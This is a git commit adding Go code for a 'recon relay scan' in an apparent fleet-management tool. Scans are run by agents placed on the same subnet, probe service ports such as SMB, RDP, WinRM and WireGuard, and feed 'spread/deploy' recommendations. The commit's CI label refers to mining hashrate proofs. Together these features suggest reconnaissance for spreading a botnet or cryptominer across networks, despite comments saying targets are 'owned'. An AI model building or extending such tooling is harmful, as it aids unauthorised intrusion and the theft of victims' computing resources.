Recon network batch 2: fleet relay scan and UDP hints.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

POST /api/v1/recon/relay-scan probes from the dashboard when reachable, otherwise dispatches recon_relay_scan to a same-/24 online agent. Agents reuse probePortsFn for TCP and optionally UDP 53/51820 with dns/wireguard Path Tracer tags.
This commit is contained in:
AetherForge
2026-06-07 11:58:09 -07:00
parent 53d43c7aea
commit 5dd5b1d894
12 changed files with 643 additions and 19 deletions

View File

@@ -0,0 +1,198 @@
package recon
import (
"encoding/json"
"errors"
"net"
"strconv"
"strings"
"time"
)
var RelayScanUDPPorts = []int{53, 51820}
type RelayScanRequest struct {
Host string `json:"host"`
UDPGuess bool `json:"udp_guess,omitempty"`
}
type UDPHint struct {
Port int `json:"port"`
Open bool `json:"open"`
Service string `json:"service"`
}
type RelayScanReport struct {
Host string `json:"host"`
ScannedAt time.Time `json:"scanned_at"`
LocalReachable bool `json:"local_reachable"`
ScannedVia string `json:"scanned_via"`
RelayAgentID string `json:"relay_agent_id,omitempty"`
RelayAgentName string `json:"relay_agent_name,omitempty"`
Ports []PortResult `json:"ports"`
UDPHints []UDPHint `json:"udp_hints,omitempty"`
PathTracerHints []string `json:"path_tracer_hints,omitempty"`
Message string `json:"message,omitempty"`
Recommendations []DeployRecommendation `json:"recommendations,omitempty"`
}
var reachabilityPorts = []int{80, 443, 22, 445, 3389}
var hostReachableFn func(host string) bool
var udpGuessFn func(host string, ports []int) []UDPHint
func SetHostReachableHook(fn func(host string) bool) { hostReachableFn = fn }
func SetUDPGuesssHook(fn func(host string, ports []int) []UDPHint) { udpGuessFn = fn }
func HostReachable(host string) bool {
if hostReachableFn != nil {
return hostReachableFn(host)
}
host = strings.TrimSpace(host)
for _, port := range reachabilityPorts {
conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), 1200*time.Millisecond)
if err == nil {
conn.Close()
return true
}
if isConnRefused(err) {
return true
}
}
return false
}
func GuessUDPHints(host string, enabled bool) []UDPHint {
if !enabled {
return nil
}
if udpGuessFn != nil {
return udpGuessFn(host, RelayScanUDPPorts)
}
var out []UDPHint
for _, port := range RelayScanUDPPorts {
out = append(out, UDPHint{Port: port, Open: probeUDPQuick(host, port), Service: udpServiceLabel(port)})
}
return out
}
func PathTracerHintsFromUDP(hints []UDPHint) []string {
var out []string
seen := map[string]bool{}
for _, h := range hints {
if h.Open && h.Service != "" && !seen[h.Service] {
seen[h.Service] = true
out = append(out, h.Service)
}
}
return out
}
func LocalRelayScan(req RelayScanRequest) (*RelayScanReport, error) {
host, err := NormalizeHost(req.Host)
if err != nil {
return nil, err
}
ports := ScanPorts(host)
udp := GuessUDPHints(host, req.UDPGuess)
return &RelayScanReport{
Host: host, ScannedAt: time.Now().UTC(), LocalReachable: true, ScannedVia: "server",
Ports: ports, UDPHints: udp, PathTracerHints: PathTracerHintsFromUDP(udp),
Recommendations: BuildRecommendations(ports, nil),
}, nil
}
func MergeAgentRelayScan(shell RelayScanReport, agentPayload []byte, udpGuess bool) (*RelayScanReport, error) {
var raw struct {
OpenPorts []int `json:"open_ports"`
UDPHints []UDPHint `json:"udp_hints"`
}
if err := json.Unmarshal(agentPayload, &raw); err != nil {
return nil, err
}
openSet := map[int]bool{}
for _, p := range raw.OpenPorts {
openSet[p] = true
}
ports := make([]PortResult, 0, len(FleetPorts))
for _, p := range FleetPorts {
ports = append(ports, PortResult{Port: p, Open: openSet[p]})
}
udp := raw.UDPHints
if udpGuess && len(udp) == 0 {
udp = GuessUDPHints(shell.Host, true)
}
shell.Ports = ports
shell.UDPHints = udp
shell.PathTracerHints = PathTracerHintsFromUDP(udp)
shell.Recommendations = BuildRecommendations(ports, nil)
shell.ScannedAt = time.Now().UTC()
return &shell, nil
}
func (r *RelayScanReport) ToScanReport() *ScanReport {
if r == nil {
return nil
}
relayVia := ""
if r.ScannedVia == "relay" {
if r.RelayAgentName != "" {
relayVia = r.RelayAgentName
} else if r.RelayAgentID != "" {
relayVia = r.RelayAgentID
}
}
return &ScanReport{
Host: r.Host, ScannedAt: r.ScannedAt, Ports: r.Ports, RelayVia: relayVia,
UDPHints: r.UDPHints, PathTracerHints: r.PathTracerHints, Message: r.Message,
Recommendations: r.Recommendations,
}
}
func udpServiceLabel(port int) string {
switch port {
case 53:
return "dns"
case 51820:
return "wireguard"
default:
return ""
}
}
func isConnRefused(err error) bool {
if err == nil {
return false
}
var opErr *net.OpError
if errors.As(err, &opErr) {
return strings.Contains(strings.ToLower(opErr.Err.Error()), "refused")
}
return strings.Contains(strings.ToLower(err.Error()), "refused")
}
func probeUDPQuick(host string, port int) bool {
conn, err := net.DialTimeout("udp", net.JoinHostPort(host, strconv.Itoa(port)), 800*time.Millisecond)
if err != nil {
return false
}
defer conn.Close()
_ = conn.SetDeadline(time.Now().Add(800 * time.Millisecond))
if b := udpProbePayload(port); len(b) > 0 {
_, _ = conn.Write(b)
}
buf := make([]byte, 512)
n, err := conn.Read(buf)
return err == nil && n > 0
}
func udpProbePayload(port int) []byte {
switch port {
case 53:
return []byte{0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 'v', 'e', 'r', 's', 'i', 'o', 'n', 0x04, 'b', 'i', 'n', 'd', 0x00, 0x00, 0x10, 0x00, 0x03}
case 51820:
return []byte{0x01, 0x00, 0x00, 0x00}
default:
return nil
}
}

View File

@@ -0,0 +1,19 @@
package recon
import "testing"
func TestHostReachableHook(t *testing.T) {
SetHostReachableHook(func(host string) bool { return host == "10.0.0.5" })
t.Cleanup(func() { SetHostReachableHook(nil) })
if !HostReachable("10.0.0.5") || HostReachable("10.0.0.6") {
t.Fatal("reachability hook mismatch")
}
}
func TestMergeAgentRelayScanWireguardHint(t *testing.T) {
payload := []byte(`{"open_ports":[22],"udp_hints":[{"port":51820,"open":true,"service":"wireguard"}]}`)
merged, err := MergeAgentRelayScan(RelayScanReport{Host: "10.1.2.50", ScannedVia: "relay"}, payload, false)
if err != nil || len(merged.PathTracerHints) != 1 || merged.PathTracerHints[0] != "wireguard" {
t.Fatalf("merged=%+v err=%v", merged, err)
}
}

View File

@@ -2,7 +2,6 @@ package recon
import "time"
// FleetPorts are TCP ports probed during browser-deploy recon.
var FleetPorts = []int{22, 80, 443, 445, 3389, 5985, 5986, 6262, 8080, 8443}
const (
@@ -11,7 +10,6 @@ const (
DefaultCrawlMaxPages = 50
)
// ScanRequest is operator-supplied owned-target input.
type ScanRequest struct {
Host string `json:"host"`
Port int `json:"port,omitempty"`
@@ -19,24 +17,21 @@ type ScanRequest struct {
Paths []string `json:"paths,omitempty"`
}
// PortResult is one TCP dial outcome.
type PortResult struct {
Port int `json:"port"`
Open bool `json:"open"`
}
// FormFinding describes an HTML form of interest.
type FormFinding struct {
PageURL string `json:"page_url"`
Action string `json:"action,omitempty"`
Method string `json:"method,omitempty"`
Enctype string `json:"enctype,omitempty"`
Fields []string `json:"fields,omitempty"`
HasFile bool `json:"has_file_input,omitempty"`
Multipart bool `json:"multipart,omitempty"`
PageURL string `json:"page_url"`
Action string `json:"action,omitempty"`
Method string `json:"method,omitempty"`
Enctype string `json:"enctype,omitempty"`
Fields []string `json:"fields,omitempty"`
HasFile bool `json:"has_file_input,omitempty"`
Multipart bool `json:"multipart,omitempty"`
}
// URLFieldFinding is an input/textarea whose name or label hints URL fetch behavior.
type URLFieldFinding struct {
PageURL string `json:"page_url"`
Name string `json:"name"`
@@ -44,14 +39,12 @@ type URLFieldFinding struct {
Hint string `json:"hint"`
}
// PageFinding summarizes one crawled page.
type PageFinding struct {
URL string `json:"url"`
StatusCode int `json:"status_code"`
Title string `json:"title,omitempty"`
}
// CrawlReport aggregates web surface findings.
type CrawlReport struct {
PagesFetched int `json:"pages_fetched"`
Pages []PageFinding `json:"pages,omitempty"`
@@ -62,7 +55,6 @@ type CrawlReport struct {
CMSFingerprints []string `json:"cms_fingerprints,omitempty"`
}
// DeployRecommendation maps recon findings to an existing spread/deploy lane or template.
type DeployRecommendation struct {
Lane string `json:"lane,omitempty"`
Template string `json:"template,omitempty"`
@@ -70,7 +62,6 @@ type DeployRecommendation struct {
Priority int `json:"priority"`
}
// ScanReport is the full owned-target recon payload returned by POST /api/v1/recon/scan.
type ScanReport struct {
Host string `json:"host"`
ScannedAt time.Time `json:"scanned_at"`